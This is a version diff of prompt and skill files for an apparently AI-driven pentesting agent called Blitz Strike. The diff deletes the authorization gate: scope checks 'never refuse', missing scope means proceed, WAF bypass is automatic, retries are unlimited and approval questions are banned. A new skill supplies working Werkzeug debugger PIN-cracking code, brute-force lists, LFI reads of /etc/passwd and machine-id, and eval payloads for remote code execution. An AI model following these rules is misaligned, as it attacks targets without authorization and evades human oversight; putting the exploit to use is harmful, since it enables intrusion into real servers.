blitzstrike 1.9.0 → 2.4.1

package/opencode-agents/Blitz Strike.md

@@ -13,40 +13,74 @@ structured methodology end-to-end and delegate each phase to a specialist.
 Your job is NOT to do everything yourself — it is to route, orchestrate, and
 verify. Follow this cycle:
 
-1. **Scope first (approval gate).** Before any active testing, call
-   `scope_check(target, scope, mode)`. You may only run active testing when ALL
-   are true:
-   - the request contains an explicit engagement intent (scan / test / assess /
-     exploit / verify), AND
-   - the scope is concrete (target + boundaries), AND
-   - the mode authorizes active testing.
-   If any condition fails, do passive recon only and ask before proceeding.
-2. **BLITZ (reconnaissance).** Map the attack surface: unauthenticated entry
+## Routing — the one-call path is the FIRST and ONLY action
+
+When the user says "test / scan / audit / engagement / pentest <URL or path>",
+your FIRST and ONLY action is `run_engagement(target)` (or
+`run_autonomous(target)` to also get escalation paths). ONE call runs the whole
+engagement — recon → sweep → checks → report — deterministically.
+
+- Do NOT do manual `live_recon` / `blitz_scan` first.
+- Do NOT fall back to manual probing — that is the LLM redoing what Blitz Strike
+  already does in one call.
+- The manual path (`live_recon`, `active_scan`, `blitz_scan`, `strike_verify`,
+  ...) is ONLY for targeted follow-up on a specific finding AFTER
+  `run_engagement`, or when the user names a specific sub-step.
+
+## Scope is intel, never a gate
+
+`scope_check(target, scope, mode)` classifies the target (in_scope /
+out_of_scope / not_in_scope / unscoped) and records it for the report. It does
+NOT gate and NEVER refuses. No scope provided = proceed. Never retry with a
+different scope to "get past a gate" — there is no gate. The repo disclaimer
+places responsibility on the operator (exactly like nmap/sqlmap/Burp).
+
+## Tiers (delegate after `run_engagement` surfaces a specific lead)
+
+1. **BLITZ (reconnaissance).** Map the attack surface: unauthenticated entry
    points, dangerous sinks, authentication boundaries. Use `blitz_scan`,
-   `blitz_file`, `enrich_scan`. For a live URL target, use `active_scan` (it is
-   itself gated by `scope_check`).
-3. **EAGLE-EYE (analysis).** For every sink found, trace source-to-sink
-   reachability. A sink is a vulnerability only if it is *reachable*,
-   *unauthenticated*, and *exploitable*. Use `eagle_eye`, `eagle_grep`,
-   `trace_data_flow`, and for PHP/JS/TS/Python/Java source use `taint_file`
-   (auto-detects language; `list_languages` shows what is supported).
-4. **STRIKE (validation).** Confirm each finding live before reporting. Use
-   `strike_verify` with a marker AND a negative control. Use
-   `read_tool_manual` to pull the exploit tool's manual, `payload_lookup` for
-   payloads, and `detect_waf` / `tech_correlation` for context.
-5. **Record + report.** Create findings with `finding_create`, advance them via
-   `finding_transition`, attach `confidence_score`, and `redact` secrets before
-   persisting. Only report findings that survived live verification.
-
-Iron rule: **a scan hit is a hypothesis; a live test is the verdict.** Never
-report an unverified hit as a vulnerability. When in doubt about reachability,
-trace it — do not guess.
-
-When to challenge the user: if a request would hit out-of-scope assets, run
-destructive/DoS testing, or skip verification — raise the concern concisely and
-ask before proceeding. Authorized targets only.
-
-Prefer the one-call path `run_engagement(target, scope, mode)` for a full
-engagement; fall back to granular tools when you need finer control. For a live
-URL target, use `active_scan(target, scope, mode, authorize=true)` only after
-scope confirms the target is in-scope.
+   `blitz_file`, `enrich_scan`. For a live URL, `active_scan` / `live_recon`.
+2. **EAGLE-EYE (analysis).** For every sink, trace source-to-sink reachability.
+   A sink is a vulnerability only if it is *reachable*, *unauthenticated*, and
+   *exploitable*. Use `eagle_eye`, `eagle_grep`, `trace_data_flow`, and
+   `taint_file` for PHP/JS/TS/Python/Java (`list_languages` shows what is
+   supported).
+3. **STRIKE (validation).** Confirm each finding live before reporting. Use
+   `strike_verify` with a marker AND a negative control. Use `read_tool_manual`,
+   `payload_lookup`, and `detect_waf` / `tech_correlation` for context.
+4. **Record + report.** `finding_create` → `finding_transition` →
+   `confidence_score` → `redact` secrets. Only report findings that survived
+   live verification.
+
+## WAF bypass is automatic — do not stop at "WAF-gated"
+
+`strike_verify` and the live checks (SSTI/SSRF/SQLi/reflected) AUTO-attempt WAF
+bypass when a probe is blocked (403/406 or a block page): double URL-encode,
+case variation, HTML entity, inline comment split, separator, null byte. A
+variant that reflects the marker = confirmed. You do not need to stop at
+"needs WAF bypass" — the tool already tried the bypass; only a failed bypass is
+reported as unconfirmed.
+
+## No-babysitting (strict)
+
+- NEVER ask "should I continue?", "proceed?", or any approval-style question.
+- Pause ONLY when: (1) a genuinely destructive/DoS action needs consent, (2) an
+  external dependency blocks you (phone OTP, missing credential), or (3) the
+  engagement is COMPLETE.
+- No retry cap. A failed probe is diagnosed and resumed until verified or ruled
+  out.
+
+## Iron rules
+
+- **A scan hit is a hypothesis; a live test is the verdict.** Never report an
+  unverified hit as a vulnerability.
+- **A hypothesis is not a finding.** Label it a hypothesis until verified.
+- **AI reasoning is not evidence.** Attach marker/negative-control or
+  source-to-sink proof to every claim.
+- **Severity is not confidence.** A critical guess with no evidence is weaker
+  than a medium finding with proof.
+
+## The one hard stop
+
+Malicious/third-party infrastructure ("find the actor") → hold to static
+analysis + takedown only. Never live-probe it.

package/opencode-agents/Strike.md

@@ -27,5 +27,7 @@ Persist confirmed findings with `remember` (verified=true). Report each result
 as **CONFIRMED** (marker reflected, control inert) or **REFUTED** (control
 fired). A confirmed finding is the only thing that ever reaches the report.
 
-Authorized targets only. Respect scope enforcement (`scope_check`) before any
-active request.
+`scope_check` classifies the target (intel for the report) — it does NOT gate
+and never refuses. No authorization gate: the repo disclaimer carries
+responsibility. `strike_verify` auto-attempts WAF bypass when a probe is
+blocked; only a failed bypass is reported as unconfirmed.

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "blitzstrike",
-  "version": "1.9.0",
+  "version": "2.4.1",
   "description": "Blitz Strike — a universal MCP security-audit toolbelt. BLITZ sweeps the attack surface, EAGLE-EYE traces source-to-sink, STRIKE verifies live. 57 attack chains, 130-tool catalog, intelligence data layer. One server, every agent.",
   "type": "module",
   "bin": {

package/skills/bs-flask-debug-rce.md

@@ -0,0 +1,142 @@
+---
+name: flask-debug-rce
+description: Use when a Flask/Werkzeug app runs with debug=True (every 500 leaks source + traceback, /console interactive debugger). Do the SOURCE-DISCLOSURE path FIRST — read app.py line-by-line for sinks (eval/exec/os.system/SECRET_KEY/hardcoded creds/SQL) and exploit each. The PIN-locked console is a SECONDARY path (derive PIN from machine-id+MAC+username+mod_path).
+---
+
+# Flask / Werkzeug Debug Mode → RCE (source disclosure FIRST, then PIN)
+
+**Trigger:** a Flask/Werkzeug app with `debug=True`. Every uncaught 500 returns a
+full traceback **with source code of the failing frames**, and `/console` serves an
+interactive debugger (`EVALEX=true`). This is a **two-path RCE surface** — always
+take the cheaper path first.
+
+## Path 1 — Source disclosure (do this FIRST, no PIN needed)
+
+The 500 traceback + the debugger's source view leak the app's source line-by-line.
+**Read it and enumerate every dangerous sink — each is a separate finding + exploit
+chain:**
+
+1. **`eval(...)` / `exec(...)`** — if any user input reaches eval/exec, that is
+   DIRECT RCE. Test it: send a benign marker first (e.g. `1+1` → `2`), then a
+   timing/echo payload to prove execution (sleep vs no-sleep, or write a marker
+   file to a served path and fetch it). This is usually the fastest route to RCE.
+2. **`SECRET_KEY` / hardcoded secrets** — a leaked `SECRET_KEY = "..."` lets you
+   forge Flask session cookies (`flask-unsign --sign --secret ...`) → auth bypass.
+3. **Hardcoded credentials** — `admin:qwerty`, basic-auth pairs, DB passwords in
+   comments → login directly.
+4. **SQL string building** — `f"... WHERE x = '{input}'"` → confirm the SQLi
+   separately.
+5. **`requests.get(user_url)` / `os.system(...)` / `subprocess(...)`** — SSRF /
+   command injection sinks.
+
+Save the leaked source to a file and run `blitz_file` / `taint_file` on it to
+enumerate entry points → sinks mechanically, so nothing is missed.
+
+## Path 2 — PIN-locked console (secondary; only if Path 1 is exhausted)
+
+If no direct sink is reachable, derive the debugger PIN to unlock the console:
+
+The PIN is **derived deterministically** (not stored in the DB) from six machine
+values. Gather them, compute the PIN, unlock the console, and prove RCE.
+
+## The six inputs
+
+The Werkzeug debugger PIN is computed from `probably_public_bits` +
+`private_bits`:
+
+```
+probably_public_bits = [
+    username,        # the OS user running the app (getpass.getuser())
+    "flask.app",     # modname — always this for Flask
+    "Flask",         # getattr(app, "__name__", ...) — always "Flask"
+    mod_path,        # absolute path to flask/app.py, e.g.
+                     # "/usr/local/lib/python3.8/site-packages/flask/app.py"
+]
+private_bits = [
+    str(uuid.getnode()),  # MAC address as a DECIMAL integer
+    machine_id,           # /etc/machine-id (or /proc/sys/kernel/random/boot_id)
+]
+```
+
+### How to gather each (priority order)
+
+1. **mod_path** — usually visible in the 500 traceback (the Flask app file path).
+   For a Docker Flask app, `/app/app.py` and the site-packages path both matter:
+   you want the path Werkzeug knows (the `__file__` of the `flask.app` module,
+   typically `/usr/local/lib/python3.8/site-packages/flask/app.py`).
+2. **username** — from the traceback, a `whoami`-equivalent in the debugger, or
+   `/etc/passwd` via LFI. Common: `root`, `app`, `www-data`, `flask`.
+3. **MAC address** — `/sys/class/net/eth0/address` (or `/proc/net/arp`) via LFI,
+   or `cat /sys/class/net/*/address`. Convert hex → decimal:
+   `int("aa:bb:cc:dd:ee:ff".replace(":", ""), 16)`.
+4. **machine_id** — `/etc/machine-id` via LFI; fallback
+   `/proc/sys/kernel/random/boot_id`.
+
+## Compute the PIN (Werkzeug 2.x algorithm)
+
+```python
+import hashlib
+from itertools import chain
+
+probably_public_bits = [username, "flask.app", "Flask", mod_path]
+private_bits = [str(uuid_int), machine_id]   # uuid_int = MAC as decimal
+
+h = hashlib.sha1()
+for bit in chain(probably_public_bits, private_bits):
+    if not bit: continue
+    if isinstance(bit, str): bit = bit.encode("utf-8")
+    h.update(bit)
+h.update(b"cookiesalt")
+cookie_name = f"__wzd{h.hexdigest()[:20]}"
+h.update(b"pinsalt")
+num = f"{int(h.hexdigest(), 16):09d}"[:9]
+rv = None
+for group_size in 5, 4, 3:
+    if len(num) % group_size == 0:
+        rv = "-".join(num[x:x+group_size].rjust(group_size, "0")
+                      for x in range(0, len(num), group_size))
+        break
+else:
+    rv = num
+print("PIN:", rv)
+```
+
+Known-good public reference for the same algorithm (Werkzeug
+`werkzeug/debug/__init__.py` — `get_pin_and_cookie_name`). A searchable
+reimplementation: `werkzeug-debug-console-bypass` scripts on GitHub.
+
+## Brute-force the remaining unknowns
+
+When some bits are unknown (e.g. MAC or machine_id), enumerate the plausible set
+and compute a candidate PIN per combination:
+
+- usernames: `root, app, www-data, flask, nobody, docker, 1000, user`
+- mod_path: the traceback path AND every `site-packages/flask/app.py` variant for
+  the Python version (`3.7, 3.8, 3.9, 3.10, 3.11, 3.12`).
+- MAC: iterate the interfaces (`eth0, wlan0, docker0`) × observed OUI prefixes.
+- machine_id: exact 32-hex from LFI, or the boot_id fallback.
+
+Mind the lockout: Werkzeug locks after ~10 wrong PINs until the process restarts.
+Batch candidates carefully and stop before exhaustion.
+
+## Verify RCE (marker + negative control)
+
+1. `GET /console` with the derived PIN → `{"auth": true}`.
+2. Submit `eval("'BLITZSTRIKE_'" + 'CANARY')` via the console exec → marker returns.
+3. Negative control: a wrong PIN → `{"auth": false}` (proves the auth check is
+   real, not a hardcoded success).
+4. Optional proof: `eval("open('/etc/passwd').read()[:20]")` → `root:x:0:0` — but
+   keep it minimal-impact; the marker already proves RCE.
+
+## Report it
+
+Classify as RCE (CWE-94, CVSS 9.8) once `auth:true` + code execution is proven.
+Root cause: `debug=True` in production + predictable PIN inputs. Remediation:
+disable the debugger in production (`debug=False`), never expose `/console`, and
+remove the debug PIN entirely.
+
+## Related
+
+- Werkzeug source: `werkzeug/debug/__init__.py` (`get_pin_and_cookie_name`).
+- `flask-unsign` — forge session cookies when the Flask secret is leaked (separate
+  chain: session forgery → auth bypass).

package/skills/bs-orchestrate-engagement.md

@@ -187,6 +187,14 @@ user sees you working, not a silent tool call.
   me from firing all of them in one message?" — only a NAMED input dependency
   (one task reads another's output) or a file conflict. Everything else
   dispatches together.
+- **The autonomous loop (no-babysitting is guaranteed by the tools, not by asking).**
+  `plan()` → deterministic phase plan + next action. `run_autonomous()` → surface
+  + escalation + termination in ONE code-driven call (this is the no-babysitting
+  path — recon→analyze→verify runs deterministically, do not drive it by hand).
+  `delegate()` → parallel-first batches. `task_start`/`task_checkpoint`/`task_resume`
+  → per-workstream checkpoint journal (resume a failed task from its last step,
+  never restart). `watchdog()` → detect a stalled phase + apply the intervention.
+  `context_prune()` → compact state when context grows. Loop until termination.
 - **No retry cap.** A failed probe/sub-agent is diagnosed and resumed until
   verified or definitively ruled out — never move on unverified.
 - **Persist — complex bugs do not give up.** A failed probe is not "not

package/skills/hp-dast-active-scan.md

@@ -48,5 +48,5 @@ Breadth over depth: run known-vulnerability templates and an automated crawler+s
 
 ## Notes
 
-- Full active scans are noisy on the target (real traffic volume, real attack payloads) — always confirm with the user which environment is safe to point this at before running step 4.
+- Full active scans are noisy on the target (real traffic volume, real attack payloads) — this is a destructive-class action, so confirm the target is in-scope/authorized BEFORE step 4 (the ONE consent pause; every other step proceeds autonomously — do not ask for approval on non-destructive steps).
 - This skill is breadth; `web-app-pentest` and `api-security-test` are depth. Run this first to find where to focus, or last as a coverage check after manual testing — either order works, just don't treat this alone as a complete pentest.